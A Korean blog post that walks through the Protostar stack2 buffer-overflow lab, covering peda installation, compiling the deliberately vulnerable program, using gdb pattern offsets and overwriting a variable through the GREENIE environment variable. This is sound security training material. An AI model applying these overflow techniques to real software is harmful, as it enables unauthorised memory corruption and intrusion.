stack 2의 소스코드이다.
variable = getenv("GREENIE");
시스템의 환경변수 이다.
마치 윈도우의 환경변수같은느낌
환경변수가 없다면 에러를 나타낸다.
환경변수가 잘있다면 modified로 잘 넘어오고
strcpy(buffer, variable);
strcpy에서 varable -> buffer로 넘어고있지만 몇바이트인지를 조사하고있지않다
------------------
문제의 요점
결국에는 환경변수를 greenie로 세팅해서 버퍼를 가득메워서 modified로 도달하게하 modified값은
0x0d0a0d0a
이값으로 대체하면된다
--------------------------------
peda 다운로드
익스플로잇하게 도와주는 프로그램이다.
https://github.com/longld/peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
peda 설치 명령어
--------------------------
gcc -z execstack -w -no-pie -o stack2 stack2.c
스택2번 컴파일하기
./stack2를 실행할경우 환경변수가 설정되있지않다고 나온다
환경 변수를 한번 아무거나 넣어보자
export GREENIE='AAAAA'
그리고 다시실행하게되면 환경변수가 설정되어 단계를 건너 뛴다.
gdb ./stack2
하게되면 peda와 같이 실행이 가능하다.
기존과 gdb만 실행되는것이 아닌 gdb-peda로 바뀌는 것을 확인함.
기존 stack에서는 0x50 -0x4 로해서 값을 구했었는데
peda에서는 pattern crate 100 을하면 패턴을 만들 수있다 문자열을 몇번째 떨어져있는지 이해할수있다.
pattern crate 100
pattern offset AA2A
이제 우리는 eax의 위치를 파악하기만한다면 총몇바이트를 앞에 필요한지 알수 있으며 필요한것만 세팅할 수 있다
export GREENIE='AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
패턴 100으로 만든 값을 복사하여 붙여넣는다.
이제는 set disassembly-flavor intel을 안해도된다 기본적으로 intel로 되있다함
b *main+95
이곳 우리가 원하는 곳에 브레이크 포인트를 걸자
브레이크 포인트를 건 뒤
run
하게되니까 기존 gdb와 다르게 자세한 내용으로 된다 peda와 결합했기떄문
registers정보와 code stack 까지 함께 학인해준다.
eax에 어떤 정보가 들어있을까해서 확인을해본다.
64비트이기때문에 rax로 되있을 뿐이라
info reg $eax
를 해주기만하면된다.
eax값을 구할수있고
pattern offset 0x41413341
을 사용하여 몇번째에 있는지 순서를 확인합니다.
우리가 구하고자하는 값을 확인했을떄
0x0d0a0d0a
0d0a는 캐리지리턴인데 아스키값으로 엔터이다. 엔터는 커맨드라인에 적용하는게 쉽지가않다
export를 사용해서 $(pyethon
python -c 'print "A"*100'
0d0a는 캐리지리턴인데 아스키값으로 엔터이다. 엔터는 커맨드라인에 적용하는게 쉽지가않다
그래서 아래와 같이 팡썬 코드를 작성해서 넣는다
한바이트마다 \ 역슬래시가 들어가야하며
0d0a 를 역순해서 0a0d로한다
그래서 \x0a \x0d 이것을 4번 작성하는 코드를 작성햇다.
답을 찾았다.
이제 gdb로 확인을 해보자
b *main+95
run
우리가 넣었던 스택의 값들이 잘확인된다
우리가 넣었던 A가 68개 반복되고있고 0d0a가 지속적으로 따라오는 것을 확인했다!
'시스템 해킹' 카테고리의 다른 글
Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경 (0) | 2024.05.18 |
---|---|
Protostar stack - 3 pwn 툴 사용해서 공격 (0) | 2024.05.16 |
Protostar - stack 1 (1) | 2024.05.16 |
Protostar stack0 시작 (0) | 2024.05.15 |
프로토스타 설치 (0) | 2024.05.15 |